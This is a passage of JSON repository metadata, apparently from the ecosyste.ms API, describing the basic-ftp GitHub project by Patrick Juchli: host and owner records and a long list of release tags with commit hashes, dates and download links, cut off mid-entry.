vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-22T11:44:33.931Z","repository_id":41537176,"created_at":"2025-08-22T11:44:33.931Z","updated_at":"2025-08-22T11:44:33.931Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36790533,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-06T04:43:03.162Z","status":"online","status_checked_at":"2026-08-20T02:00:06.210Z","response_time":54,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"patrickjuchli","name":"Patrick Juchli","uuid":"397839","kind":"user","description":"","email":"","website":"https://patrickjuchli.com/en/","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/397839?u=435f3c32b05790049a8b7b70449871fdf7304e9d\u0026v=4","repositories_count":11,"last_synced_at":"2024-03-21T09:48:16.358Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/patrickjuchli","funding_links":[],"total_stars":650,"followers":null,"following":null,"created_at":"2022-11-09T05:27:07.222Z","updated_at":"2024-03-21T09:48:18.553Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/patrickjuchli","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/patrickjuchli/repositories"},"tags":[{"name":"v6.2.0","sha":"a825fdca3cd3895e0535726a473e143fc2755291","kind":"commit","published_at":"2026-08-02T08:00:06.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v6.2.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v6.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.2.0/manifests"},{"name":"v6.1.0","sha":"e025e1d826a9948afb23ed5e7cde438dc8bd1bcd","kind":"commit","published_at":"2026-08-01T16:39:50.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v6.1.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v6.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.1.0/manifests"},{"name":"v6.0.2","sha":"4d608b9116c8d2674728953fd9a3adfb1ddd7b03","kind":"commit","published_at":"2026-07-25T09:17:48.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v6.0.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v6.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.0.2/manifests"},{"name":"v6.0.1","sha":"aab681b95e665d4940b131a8d23e2ae11d93f38b","kind":"commit","published_at":"2026-05-03T08:43:49.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v6.0.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v6.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.0.1/manifests"},{"name":"v6.0.0","sha":"b35e76082ffa5e787ccb83be08589f1d73e75969","kind":"commit","published_at":"2026-04-29T14:32:56.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v6.0.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v6.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v6.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v6.0.0/manifests"},{"name":"v5.3.1","sha":"980371bb6057d78d479b5cfc18683392abd2c45f","kind":"commit","published_at":"2026-04-27T20:38:46.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.3.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.3.1/manifests"},{"name":"v5.3.0","sha":"c9378a8ff73b96e89f17525266d648ce495286a6","kind":"commit","published_at":"2026-04-15T19:35:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.3.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.3.0/manifests"},{"name":"v5.2.2","sha":"e9d09d6815b300b73e1297cdcf91786a979ef212","kind":"commit","published_at":"2026-04-09T21:20:22.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.2.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.2.2/manifests"},{"name":"v5.2.1","sha":"ba40f9d60e1ff7b63de5d5bb272ae317e5382689","kind":"commit","published_at":"2026-04-08T15:29:53.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.2.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.2.1/manifests"},{"name":"v5.2.0","sha":"5d41e45073ed1a8a3b5e5a1bbfcd131e61295bf8","kind":"commit","published_at":"2026-02-23T08:13:04.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.2.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.2.0/manifests"},{"name":"v5.1.0","sha":"9da4af0e1f82fe372bedc1b7820f55c6eaf012e5","kind":"commit","published_at":"2025-12-26T21:24:23.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.1.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.1.0/manifests"},{"name":"v5.0.5","sha":"1c92a9438704585a80aeaaad3e060382a35edad3","kind":"commit","published_at":"2024-02-27T21:05:38.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.0.5","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.5/manifests"},{"name":"v5.0.4","sha":"80e27be5dc562e5e18fcb2889e21d9568917dc1c","kind":"commit","published_at":"2023-12-13T19:58:11.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.0.4","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.4/manifests"},{"name":"v5.0.3","sha":"aa83d68f8958c4cc2684d35b2f6724afa5904adc","kind":"commit","published_at":"2023-05-05T08:12:17.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.0.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.3/manifests"},{"name":"v5.0.2","sha":"6deecaf9f3aa0312c92ee96389c405b79311e862","kind":"commit","published_at":"2022-09-01T10:52:41.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.0.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.2/manifests"},{"name":"v5.0.1","sha":"864f57e62fde72572f79509f81d976145815b82d","kind":"commit","published_at":"2022-07-21T09:24:30.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.0.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.1/manifests"},{"name":"v5.0.0","sha":"9bd6aa772524cef2800db5a71169130d18983e80","kind":"commit","published_at":"2022-07-16T07:38:37.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v5.0.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v5.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v5.0.0/manifests"},{"name":"4.6.6","sha":"80b805759413d023cc6fb0b9ae12d7d0fe8d5e27","kind":"commit","published_at":"2021-03-27T17:46:42.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/4.6.6","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/4.6.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@4.6.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/4.6.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/4.6.6/manifests"},{"name":"v4.6.5","sha":"27444603def5a4a89653e11e9c6089783bbf7c82","kind":"commit","published_at":"2021-03-26T19:49:31.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.6.5","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.6.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.6.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.5/manifests"},{"name":"v4.6.4","sha":"4db4f4ae4f81433adb429f241ec26e2e43797e87","kind":"commit","published_at":"2021-03-24T21:02:31.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.6.4","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.4/manifests"},{"name":"v4.6.3","sha":"8ed3c24e56706a52653d862e61b57340dcbcb4e9","kind":"commit","published_at":"2020-10-31T08:15:36.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.6.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.3/manifests"},{"name":"v4.6.2","sha":"7dc31f9a1a4dd6720606fcbf6fbf13916d928be0","kind":"commit","published_at":"2020-07-03T07:18:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.6.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.2/manifests"},{"name":"v4.6.1","sha":"026db49d2212d0d9e99321545ecc19e74b957807","kind":"commit","published_at":"2020-06-07T05:14:19.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.6.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.1/manifests"},{"name":"v4.6.0","sha":"3bfec5f56b1393e0f2f02f8b2cc4406513bd2a4c","kind":"commit","published_at":"2020-06-06T17:50:33.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.6.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.6.0/manifests"},{"name":"v4.5.4","sha":"2c6ba44a284f4a0a6a1f1df98b7bbd7d5d62fdb5","kind":"tag","published_at":"2020-03-22T10:15:38.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.5.4","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.5.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.5.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.4/manifests"},{"name":"v4.5.3","sha":"f3ede38f6f0cec7761fb0c7db81ac30b5c91a5ff","kind":"tag","published_at":"2020-01-14T17:36:23.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.5.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.3/manifests"},{"name":"v4.5.2","sha":"dad3d226ec8454840a40c41f14225b2161e97615","kind":"tag","published_at":"2019-12-26T18:01:37.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.5.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.2/manifests"},{"name":"v4.5.1","sha":"1acb581dcaddc17596e780fe04628f730cbe5656","kind":"tag","published_at":"2019-11-07T17:12:40.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.5.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.1/manifests"},{"name":"v4.5.0","sha":"1e8a8144e8f0721321beac443f4f545f8ab47276","kind":"tag","published_at":"2019-11-06T13:56:01.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.5.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.5.0/manifests"},{"name":"v4.4.1","sha":"26a2f00ed82f17df6777fcbcb8aba295f7532cb7","kind":"tag","published_at":"2019-10-29T13:56:21.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.4.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.4.1/manifests"},{"name":"v4.4.0","sha":"0499592114f3becbc2d554e12ab8e10e6b21b658","kind":"tag","published_at":"2019-10-28T09:18:08.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.4.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.4.0/manifests"},{"name":"v4.3.2","sha":"8d71ddbe37b927c3fb5028e8410ab669524b9e7b","kind":"tag","published_at":"2019-10-27T11:04:54.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.3.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.3.2/manifests"},{"name":"v4.3.1","sha":"67690d0689e6defaf632c2b9cee311b733c7ea0f","kind":"tag","published_at":"2019-10-22T20:34:11.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.3.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.3.1/manifests"},{"name":"v4.3.0","sha":"dbadd6b4c636bd3173adb3a7fe4158f02814cb3f","kind":"tag","published_at":"2019-10-19T11:44:45.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.3.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.3.0/manifests"},{"name":"v4.2.1","sha":"58abec8c455a87c5be8eafe54939dbf10a1ab2db","kind":"tag","published_at":"2019-10-17T13:24:32.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.2.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.2.1/manifests"},{"name":"v4.2.0","sha":"a93e1f30ae55abaafd2694e964c510f6c0f0d4c3","kind":"tag","published_at":"2019-10-13T20:29:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.2.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.2.0/manifests"},{"name":"v4.1.0","sha":"08cd4f87ba9f1dbb2b6db3b1f9844a7ec0da2b67","kind":"tag","published_at":"2019-10-09T12:46:11.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.1.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.1.0/manifests"},{"name":"v4.0.2","sha":"37a36355df0e9017cb09d89b340bd24ee574831f","kind":"tag","published_at":"2019-09-26T06:34:48.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.0.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.0.2/manifests"},{"name":"v4.0.1","sha":"063e0471820f61b318148afa94ad0e75cb48c199","kind":"tag","published_at":"2019-09-18T07:45:59.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.0.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.0.1/manifests"},{"name":"v4.0.0","sha":"8e5debbb84668040f1a417512afde275dae367c4","kind":"tag","published_at":"2019-09-13T04:50:53.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v4.0.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v4.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v4.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v4.0.0/manifests"},{"name":"v